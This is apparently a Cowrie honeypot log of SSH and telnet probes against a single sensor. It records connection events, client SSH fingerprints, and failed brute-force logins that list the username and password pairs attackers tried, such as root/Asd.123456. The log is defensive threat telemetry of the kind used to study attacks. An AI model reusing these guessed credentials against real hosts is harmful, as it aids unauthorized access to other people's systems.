{"eventid":"cowrie.session.closed","duration":30.54037070274353,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:23:29.436038Z","src_ip":"88.202.190.14","session":"13589cdc655a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"42.200.66.164","src_port":48842,"dst_ip":"159.203.135.109","dst_port":22,"session":"b480ccac017e","protocol":"ssh","message":"New connection: 42.200.66.164:48842 (159.203.135.109:22) [session: b480ccac017e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:23:30.506149Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:23:30.511347Z","src_ip":"42.200.66.164","session":"b480ccac017e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:23:30.730385Z","src_ip":"42.200.66.164","session":"b480ccac017e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a11223344","message":"login attempt [root/a11223344] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:23:31.636011Z","src_ip":"42.200.66.164","session":"b480ccac017e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:23:32.856711Z","src_ip":"42.200.66.164","session":"b480ccac017e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":40130,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f2a6445b5ed","protocol":"telnet","message":"New connection: 88.202.190.14:40130 (159.203.135.109:23) [session: 7f2a6445b5ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:23:33.070240Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":44760,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad1bfe6bd044","protocol":"telnet","message":"New connection: 88.202.190.14:44760 (159.203.135.109:23) [session: ad1bfe6bd044]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:23:35.036258Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":41652,"dst_ip":"159.203.135.109","dst_port":23,"session":"0abad753767a","protocol":"telnet","message":"New connection: 88.202.190.14:41652 (159.203.135.109:23) [session: 0abad753767a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:23:38.637420Z"}
{"eventid":"cowrie.session.closed","duration":0.005938529968261719,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:23:38.643223Z","src_ip":"88.202.190.14","session":"0abad753767a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.152.18","src_port":18088,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe80950474b0","protocol":"ssh","message":"New connection: 94.156.152.18:18088 (10.17.0.5:22) [session: fe80950474b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:23:40.515236Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:23:40.519429Z","src_ip":"94.156.152.18","session":"fe80950474b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:23:40.645005Z","src_ip":"94.156.152.18","session":"fe80950474b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QUEEN#4VCPU16GBAMD","message":"login attempt [root/QUEEN#4VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:23:41.026067Z","src_ip":"94.156.152.18","session":"fe80950474b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:23:42.155286Z","src_ip":"94.156.152.18","session":"fe80950474b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":96.33959627151489,"message":"Connection lost after 96 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:23:42.766177Z","src_ip":"88.202.190.14","session":"e4cb42821f02","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":46742,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d9de2d66712","protocol":"telnet","message":"New connection: 88.202.190.14:46742 (159.203.135.109:23) [session: 2d9de2d66712]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:23:50.846615Z"}
{"eventid":"cowrie.session.closed","duration":31.48611307144165,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:23:51.805568Z","src_ip":"88.202.190.14","session":"31882d10daaf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":48138,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e398c4d1474","protocol":"telnet","message":"New connection: 64.227.101.30:48138 (10.17.0.5:23) [session: 4e398c4d1474]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:23:55.781695Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":46784,"dst_ip":"159.203.135.109","dst_port":23,"session":"eca3b73a7181","protocol":"telnet","message":"New connection: 88.202.190.14:46784 (159.203.135.109:23) [session: eca3b73a7181]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:23:56.647973Z"}
{"eventid":"cowrie.session.closed","duration":32.70174312591553,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:24:07.737862Z","src_ip":"88.202.190.14","session":"ad1bfe6bd044","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":55044,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e15084d3e7a","protocol":"telnet","message":"New connection: 88.202.190.14:55044 (159.203.135.109:23) [session: 0e15084d3e7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:24:10.141721Z"}
{"eventid":"cowrie.session.closed","duration":47.8521203994751,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:24:15.689700Z","src_ip":"64.227.101.30","session":"065f7dc4feef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":40186,"dst_ip":"159.203.135.109","dst_port":23,"session":"0404aaf28d26","protocol":"telnet","message":"New connection: 88.202.190.14:40186 (159.203.135.109:23) [session: 0404aaf28d26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:24:17.152796Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":41312,"dst_ip":"159.203.135.109","dst_port":23,"session":"9dc04b04b87c","protocol":"telnet","message":"New connection: 88.202.190.14:41312 (159.203.135.109:23) [session: 9dc04b04b87c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:24:17.839418Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":46866,"dst_ip":"159.203.135.109","dst_port":23,"session":"5abb1866e6f6","protocol":"telnet","message":"New connection: 88.202.190.14:46866 (159.203.135.109:23) [session: 5abb1866e6f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:24:20.947086Z"}
{"eventid":"cowrie.session.closed","duration":30.27591037750244,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:24:21.122427Z","src_ip":"88.202.190.14","session":"2d9de2d66712","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.243.142.42","src_port":52746,"dst_ip":"159.203.135.109","dst_port":22,"session":"0aac9b42c055","protocol":"ssh","message":"New connection: 43.243.142.42:52746 (159.203.135.109:22) [session: 0aac9b42c055]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:24:21.287695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:24:21.298294Z","src_ip":"43.243.142.42","session":"0aac9b42c055","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:24:21.540627Z","src_ip":"43.243.142.42","session":"0aac9b42c055","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":46432,"dst_ip":"159.203.135.109","dst_port":23,"session":"10e097c90a4b","protocol":"telnet","message":"New connection: 88.202.190.14:46432 (159.203.135.109:23) [session: 10e097c90a4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:24:21.732557Z"}
{"eventid":"cowrie.session.connect","src_ip":"42.200.66.164","src_port":37078,"dst_ip":"159.203.135.109","dst_port":22,"session":"24b81a91b20a","protocol":"ssh","message":"New connection: 42.200.66.164:37078 (159.203.135.109:22) [session: 24b81a91b20a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:24:21.744480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:24:21.750360Z","src_ip":"42.200.66.164","session":"24b81a91b20a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:24:21.969607Z","src_ip":"42.200.66.164","session":"24b81a91b20a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user2019","message":"login attempt [user/user2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:24:22.541490Z","src_ip":"43.243.142.42","session":"0aac9b42c055","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asd.123456","message":"login attempt [root/Asd.123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:24:22.868075Z","src_ip":"42.200.66.164","session":"24b81a91b20a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:24:23.786391Z","src_ip":"43.243.142.42","session":"0aac9b42c055","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:24:24.087021Z","src_ip":"42.200.66.164","session":"24b81a91b20a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":54016,"dst_ip":"159.203.135.109","dst_port":23,"session":"115565c73979","protocol":"telnet","message":"New connection: 88.202.190.14:54016 (159.203.135.109:23) [session: 115565c73979]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:24:25.224874Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.155.93.75","src_port":53280,"dst_ip":"10.17.0.5","dst_port":22,"session":"f54db4c5bec8","protocol":"ssh","message":"New connection: 216.155.93.75:53280 (10.17.0.5:22) [session: f54db4c5bec8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:24:31.110287Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:24:31.114887Z","src_ip":"216.155.93.75","session":"f54db4c5bec8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:24:31.267133Z","src_ip":"216.155.93.75","session":"f54db4c5bec8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123,","message":"login attempt [root/admin123,] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:24:31.905469Z","src_ip":"216.155.93.75","session":"f54db4c5bec8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.38113355636597,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:24:33.028979Z","src_ip":"88.202.190.14","session":"eca3b73a7181","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:24:33.061476Z","src_ip":"216.155.93.75","session":"f54db4c5bec8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.17070007324219,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:24:35.952270Z","src_ip":"64.227.101.30","session":"4e398c4d1474","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":62.9090416431427,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:24:35.979182Z","src_ip":"88.202.190.14","session":"7f2a6445b5ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.74895429611206,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:24:41.890599Z","src_ip":"88.202.190.14","session":"0e15084d3e7a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00345253944397,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:24:44.248084Z","src_ip":"88.202.190.14","session":"c195370fb398","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":57782,"dst_ip":"159.203.135.109","dst_port":23,"session":"5110a862b436","protocol":"telnet","message":"New connection: 88.202.190.14:57782 (159.203.135.109:23) [session: 5110a862b436]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:24:44.556289Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.202.190.14","src_port":58230,"dst_ip":"159.203.135.109","dst_port":23,"session":"78b638f65161","protocol":"telnet","message":"New connection: 88.202.190.14:58230 (159.203.135.109:23) [session: 78b638f65161]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:24:46.474044Z"}
{"eventid":"cowrie.session.closed","duration":31.56954598426819,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:24:48.722204Z","src_ip":"88.202.190.14","session":"0404aaf28d26","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.161489963531494,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:24:49.000792Z","src_ip":"88.202.190.14","session":"9dc04b04b87c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.548789739608765,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:24:51.495517Z","src_ip":"88.202.190.14","session":"5abb1866e6f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.751056909561157,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:24:56.975772Z","src_ip":"88.202.190.14","session":"115565c73979","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.68873190879822,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:24:57.421188Z","src_ip":"88.202.190.14","session":"10e097c90a4b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"42.200.66.164","src_port":53544,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a5ba9490898","protocol":"ssh","message":"New connection: 42.200.66.164:53544 (159.203.135.109:22) [session: 5a5ba9490898]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:25:12.966578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:25:12.971923Z","src_ip":"42.200.66.164","session":"5a5ba9490898","protocol":"ssh"}
